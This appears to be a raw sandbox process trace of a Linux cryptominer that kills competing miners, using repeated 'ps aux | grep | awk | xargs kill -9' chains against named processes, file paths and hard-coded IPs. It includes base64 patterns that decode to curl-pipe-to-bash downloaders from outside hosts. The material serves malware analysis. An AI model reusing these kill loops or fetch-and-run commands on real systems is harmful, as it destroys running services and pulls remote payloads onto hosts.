/bin/psps aux2⤵PID:993
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1007
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1006
-
-
/bin/grepgrep BtwXn5qH2⤵PID:1005
-
-
/bin/grepgrep -v grep2⤵PID:1004
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1003
-
-
/bin/grepgrep 3XEzey2T2⤵PID:1014
-
-
/bin/grepgrep -v grep2⤵PID:1013
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1015
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1016
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1012
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1021
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1020
-
-
/bin/grepgrep t2tKrCSZ2⤵PID:1019
-
-
/bin/grepgrep -v grep2⤵PID:1018
-
-
/bin/psps aux2⤵PID:1017
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1028
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1027
-
-
/bin/grepgrep svc2⤵PID:1026
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1024
-
-
/bin/grepgrep -v grep2⤵PID:1025
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1035
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1034
-
-
/bin/grepgrep HD7fcBgg2⤵PID:1033
-
-
/bin/grepgrep -v grep2⤵PID:1032
-
-
/bin/psps aux2⤵PID:1031
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1042
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1041
-
-
/bin/grepgrep zXcDajSs2⤵PID:1040
-
-
/bin/grepgrep -v grep2⤵PID:1039
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1038
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1047
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1046
-
-
/bin/grepgrep 3lmigMo2⤵PID:1045
-
-
/bin/grepgrep -v grep2⤵PID:1044
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1043
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1054
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1053
-
-
/bin/grepgrep AkMK4A22⤵PID:1052
-
-
/bin/grepgrep -v grep2⤵PID:1051
-
-
/bin/psps aux2⤵PID:1050
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1062
-
-
/bin/grepgrep AJ2AkKe2⤵PID:1060
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1061
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1058
-
-
/bin/grepgrep -v grep2⤵PID:1059
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1068
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1067
-
-
/bin/grepgrep HiPxCJRS2⤵
- System Network Configuration Discovery
PID:1066
-
-
/bin/grepgrep -v grep2⤵PID:1065
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1064
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1076
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1075
-
-
/bin/grepgrep http_0xCC0302⤵PID:1074
-
-
/bin/grepgrep -v grep2⤵PID:1073
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1072
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1084
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1083
-
-
/bin/grepgrep http_0xCC0312⤵PID:1082
-
-
/bin/grepgrep -v grep2⤵PID:1081
-
-
/bin/psps aux2⤵PID:1080
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1090
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1089
-
-
/bin/grepgrep http_0xCC0322⤵PID:1088
-
-
/bin/grepgrep -v grep2⤵PID:1087
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1086
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1096
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1095
-
-
/bin/grepgrep http_0xCC0332⤵PID:1094
-
-
/bin/grepgrep -v grep2⤵PID:1093
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1092
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1104
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1103
-
-
/bin/grepgrep C4iLM4L2⤵PID:1102
-
-
/bin/grepgrep -v grep2⤵PID:1101
-
-
/bin/psps aux2⤵PID:1100
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1110
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1109
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵
- System Network Configuration Discovery
PID:1108
-
-
/bin/grepgrep -v grep2⤵PID:1107
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1106
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1114
-
-
/usr/bin/awkawk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"2⤵PID:1113
-
-
/bin/grepgrep -v grep2⤵PID:1112
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1111
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1120
-
-
/bin/grepgrep /boot/vmlinuz2⤵PID:1118
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1119
-
-
/bin/grepgrep -v grep2⤵PID:1117
-
-
/bin/psps aux2⤵PID:1116
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1124
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1125
-
-
/bin/grepgrep -v grep2⤵PID:1122
-
-
/bin/psps aux2⤵PID:1121
-
-
/bin/grepgrep i4b503a52cc52⤵PID:1123
-
-
/bin/grepgrep dgqtrcst23rtdi3ldqk322j22⤵PID:1128
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1129
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1130
-
-
/bin/grepgrep -v grep2⤵PID:1127
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1126
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1135
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1134
-
-
/bin/grepgrep 2g0uv7npuhrlatd2⤵PID:1133
-
-
/bin/grepgrep -v grep2⤵PID:1132
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1131
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1140
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1139
-
-
/bin/grepgrep nqscheduler2⤵PID:1138
-
-
/bin/grepgrep -v grep2⤵PID:1137
-
-
/bin/psps aux2⤵PID:1136
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1145
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1144
-
-
/bin/grepgrep rkebbwgqpl4npmm2⤵PID:1143
-
-
/bin/grepgrep -v grep2⤵PID:1142
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:1141
-
-
/usr/bin/awkawk "\$3>10.0{print \$2}"2⤵PID:1150
-
-
/bin/grepgrep -v aux2⤵PID:1148
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1151
-
-
/bin/grepgrep -v grep2⤵PID:1147
-
-
/bin/psps aux2⤵PID:1146
-
-
/bin/grepgrep "]"2⤵PID:1149
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1156
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1155
-
-
/bin/grepgrep -v grep2⤵PID:1153
-
-
/bin/grepgrep 2fhtu70teuhtoh78jc5s2⤵PID:1154
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1152
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1161
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1160
-
-
/bin/grepgrep 0kwti6ut420t2⤵PID:1159
-
-
/bin/grepgrep -v grep2⤵PID:1158
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1157
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1166
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1165
-
-
/bin/grepgrep 44ct7udt0patws3agkdfqnjm2⤵PID:1164
-
-
/bin/grepgrep -v grep2⤵PID:1163
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1162
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1173
-
-
/usr/bin/awkawk "length(\$11)>19{print \$2}"2⤵PID:1172
-
-
/bin/grepgrep -v _2⤵PID:1171
-
-
/bin/grepgrep -v -2⤵PID:1170
-
-
/bin/grepgrep -v /2⤵PID:1169
-
-
/bin/grepgrep -v grep2⤵PID:1168
-
-
/bin/psps aux2⤵PID:1167
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1178
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1177
-
-
/bin/grepgrep -v grep2⤵PID:1175
-
-
/bin/psps aux2⤵PID:1174
-
-
/bin/grepgrep "\\[^"2⤵PID:1176
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1183
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1182
-
-
/bin/grepgrep rsync2⤵PID:1181
-
-
/bin/grepgrep -v grep2⤵PID:1180
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1179
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1188
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1187
-
-
/bin/grepgrep watchd0g2⤵PID:1186
-
-
/bin/grepgrep -v grep2⤵PID:1185
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1184
-
-
/bin/grepgrep -v grep2⤵PID:1190
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1189
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1192
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1193
-
-
/bin/egrepegrep "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1191
-
-
/usr/local/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1191
-
-
/usr/local/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1191
-
-
/usr/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1191
-
-
/usr/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1191
-
-
/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1191
-
-
/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1191
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1198
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1197
-
-
/bin/grepgrep 158.69.133.18:82202⤵PID:1196
-
-
/bin/grepgrep -v grep2⤵PID:1195
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1194
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1203
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1202
-
-
/bin/grepgrep /tmp/java2⤵PID:1201
-
-
/bin/grepgrep -v grep2⤵PID:1200
-
-
/bin/psps aux2⤵PID:1199
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1208
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1207
-
-
/bin/grepgrep gitee.com2⤵PID:1206
-
-
/bin/grepgrep -v grep2⤵PID:1205
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1204
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1213
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1212
-
-
/bin/grepgrep /tmp/java2⤵PID:1211
-
-
/bin/grepgrep -v grep2⤵PID:1210
-
-
/bin/psps aux2⤵PID:1209
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1218
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1217
-
-
/bin/grepgrep 104.248.4.1622⤵PID:1216
-
-
/bin/grepgrep -v grep2⤵PID:1215
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:1214
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1223
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1222
-
-
/bin/grepgrep 89.35.39.782⤵PID:1221
-
-
/bin/grepgrep -v grep2⤵PID:1220
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:1219
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1228
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1227
-
-
/bin/grepgrep /dev/shm/z3.sh2⤵PID:1226
-
-
/bin/grepgrep -v grep2⤵PID:1225
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1224
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1233
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1232
-
-
/bin/grepgrep kthrotlds2⤵PID:1231
-
-
/bin/grepgrep -v grep2⤵PID:1230
-
-
/bin/psps aux2⤵PID:1229
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1237
-
-
/bin/grepgrep ksoftirqds2⤵PID:1236
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1238
-
-
/bin/grepgrep -v grep2⤵PID:1235
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1234
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1242
-
-
/bin/grepgrep netdns2⤵PID:1241
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1243
-
-
/bin/grepgrep -v grep2⤵PID:1240
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1239
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1247
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1248
-
-
/bin/grepgrep watchdogs2⤵PID:1246
-
-
/bin/grepgrep -v grep2⤵PID:1245
-
-
/bin/psps aux2⤵PID:1244
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1253
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1252
-
-
/bin/grepgrep kdevtmpfsi2⤵PID:1251
-
-
/bin/grepgrep -v grep2⤵PID:1250
-
-
/bin/psps aux2⤵PID:1249
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1258
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1257
-
-
/bin/grepgrep kinsing2⤵PID:1256
-
-
/bin/grepgrep -v grep2⤵PID:1255
-
-
/bin/psps aux2⤵PID:1254
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1265
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1264
-
-
/bin/grepgrep redis22⤵PID:1263
-
-
/bin/grepgrep -v grep2⤵PID:1262
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1261
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1273
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1272
-
-
/bin/grepgrep " ps"2⤵PID:1271
-
-
/bin/grepgrep -v aux2⤵PID:1270
-
-
/bin/grepgrep -v grep2⤵PID:1269
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1268
-
-
/bin/grepgrep sync_supers2⤵PID:1277
-
-
/bin/grepgrep -v grep2⤵PID:1276
-
-
/bin/psps aux2⤵PID:1275
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1279
-
-
/usr/bin/cutcut -c 9-152⤵PID:1278
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1286
-
-
/bin/grepgrep cpuset2⤵PID:1284
-
-
/bin/grepgrep -v grep2⤵PID:1283
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:1282
-
-
/usr/bin/cutcut -c 9-152⤵PID:1285
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1293
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1292
-
-
/bin/grepgrep "x]"2⤵PID:1291
-
-
/bin/grepgrep -v aux2⤵PID:1290
-
-
/bin/grepgrep -v grep2⤵PID:1289
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
PID:1288
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1299
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1300
-
-
/bin/grepgrep "sh] <"2⤵PID:1298
-
-
/bin/grepgrep -v grep2⤵PID:1296
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1295
-
-
/bin/grepgrep -v aux2⤵PID:1297
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1307
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1306
-
-
/bin/grepgrep -v aux2⤵PID:1304
-
-
/bin/grepgrep -v grep2⤵PID:1303
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:1302
-
-
/bin/grepgrep " \\[]"2⤵PID:1305
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1314
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1313
-
-
/bin/grepgrep /tmp/l.sh2⤵PID:1312
-
-
/bin/grepgrep -v grep2⤵PID:1311
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1310
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1321
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1320
-
-
/bin/grepgrep /tmp/zmcat2⤵PID:1319
-
-
/bin/grepgrep -v grep2⤵PID:1318
-
-
/bin/psps aux2⤵PID:1317
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1326
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1325
-
-
/bin/grepgrep hahwNEdB2⤵PID:1324
-
-
/bin/grepgrep -v grep2⤵PID:1323
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1322
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1333
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1332
-
-
/bin/grepgrep CnzFVPLF2⤵PID:1331
-
-
/bin/grepgrep -v grep2⤵PID:1330
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1329
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1340
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1339
-
-
/bin/grepgrep CvKzzZLs2⤵PID:1338
-
-
/bin/grepgrep -v grep2⤵PID:1337
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1336
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1345
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1346
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵
- System Network Configuration Discovery
PID:1344
-
-
/bin/grepgrep -v grep2⤵PID:1343
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:1342
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1353
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1352
-
-
/bin/grepgrep /tmp/udevd2⤵PID:1351
-
-
/bin/grepgrep -v grep2⤵PID:1350
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1349
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1359
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1358
-
-
/bin/grepgrep KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA2⤵PID:1357
-
-
/bin/grepgrep -v grep2⤵PID:1356
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1355
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1366
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1365
-
-
/bin/grepgrep Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo2⤵PID:1364
-
-
/bin/grepgrep -v grep2⤵PID:1363
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1362
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1373
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1372
-
-
/bin/grepgrep sustse2⤵PID:1371
-
-
/bin/grepgrep -v grep2⤵PID:1370
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:1369
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1380
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1379
-
-
/bin/grepgrep sustse32⤵PID:1378
-
-
/bin/grepgrep -v grep2⤵PID:1377
-
-
/bin/psps aux2⤵PID:1376
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1386
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1385
-
-
/bin/grepgrep wget2⤵PID:1384
-
-
/bin/grepgrep mr.sh2⤵PID:1383
-
-
/bin/grepgrep -v grep2⤵PID:1382
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1381
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1394
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1393
-
-
/bin/grepgrep curl2⤵PID:1392
-
-
/bin/grepgrep mr.sh2⤵PID:1391
-
-
/bin/grepgrep -v grep2⤵PID:1390
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1389
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1400
-
-
/bin/grepgrep wget2⤵PID:1398
-
-
/bin/grepgrep 2mr.sh2⤵PID:1397
-
-
/bin/grepgrep -v grep2⤵PID:1396
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1399
-
-
/bin/psps aux2⤵PID:1395
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1406
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1405
-
-
/bin/grepgrep curl2⤵PID:1404
-
-
/bin/grepgrep 2mr.sh2⤵PID:1403
-
-
/bin/grepgrep -v grep2⤵PID:1402
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1401
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1412
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1411
-
-
/bin/grepgrep wget2⤵PID:1410
-
-
/bin/grepgrep cr5.sh2⤵PID:1409
-
-
/bin/grepgrep -v grep2⤵PID:1408
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1407
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1418
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1417
-
-
/bin/grepgrep curl2⤵PID:1416
-
-
/bin/grepgrep cr5.sh2⤵PID:1415
-
-
/bin/grepgrep -v grep2⤵PID:1414
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1413
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1424
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1423
-
-
/bin/grepgrep wget2⤵PID:1422
-
-
/bin/grepgrep logo9.jpg2⤵PID:1421
-
-
/bin/grepgrep -v grep2⤵PID:1420
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1419
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1430
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1429
-
-
/bin/grepgrep curl2⤵PID:1428
-
-
/bin/grepgrep logo9.jpg2⤵PID:1427
-
-
/bin/grepgrep -v grep2⤵PID:1426
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1425
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1435
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1434
-
-
/bin/grepgrep j2.conf2⤵PID:1433
-
-
/bin/grepgrep -v grep2⤵PID:1432
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
PID:1431
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1441
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1440
-
-
/bin/grepgrep wget2⤵PID:1439
-
-
/bin/grepgrep luk-cpu2⤵PID:1438
-
-
/bin/grepgrep -v grep2⤵PID:1437
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
PID:1436
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1447
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1446
-
-
/bin/grepgrep curl2⤵PID:1445
-
-
/bin/grepgrep luk-cpu2⤵PID:1444
-
-
/bin/grepgrep -v grep2⤵PID:1443
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1442
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1453
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1452
-
-
/bin/grepgrep wget2⤵PID:1451
-
-
/bin/grepgrep ficov2⤵PID:1450
-
-
/bin/grepgrep -v grep2⤵PID:1449
-
-
/bin/psps aux2⤵PID:1448
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1458
-
-
/bin/grepgrep curl2⤵PID:1457
-
-
/bin/grepgrep ficov2⤵PID:1456
-
-
/bin/grepgrep -v grep2⤵PID:1455
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1459
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:1454
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1465
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1464
-
-
/bin/grepgrep wget2⤵PID:1463
-
-
/bin/grepgrep he.sh2⤵PID:1462
-
-
/bin/grepgrep -v grep2⤵PID:1461
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
PID:1460
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1471
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1470
-
-
/bin/grepgrep curl2⤵PID:1469
-
-
/bin/grepgrep he.sh2⤵PID:1468
-
-
/bin/grepgrep -v grep2⤵PID:1467
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
PID:1466
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1477
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1476
-
-
/bin/grepgrep wget2⤵PID:1475
-
-
/bin/grepgrep miner.sh2⤵PID:1474
-
-
/bin/grepgrep -v grep2⤵PID:1473
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1472
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1483
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1482
-
-
/bin/grepgrep curl2⤵PID:1481
-
-
/bin/grepgrep miner.sh2⤵PID:1480
-
-
/bin/grepgrep -v grep2⤵PID:1479
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1478
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1489
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1488
-
-
/bin/grepgrep wget2⤵PID:1487
-
-
/bin/grepgrep nullcrew2⤵PID:1486
-
-
/bin/grepgrep -v grep2⤵PID:1485
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1484
-
-
/bin/grepgrep curl2⤵PID:1493
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1494
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1495
-
-
/bin/grepgrep nullcrew2⤵PID:1492
-
-
/bin/grepgrep -v grep2⤵PID:1491
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1490
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1500
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1499
-
-
/bin/grepgrep 107.174.47.1562⤵PID:1498
-
-
/bin/grepgrep -v grep2⤵PID:1497
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:1496
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1505
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1504
-
-
/bin/grepgrep 83.220.169.2472⤵PID:1503
-
-
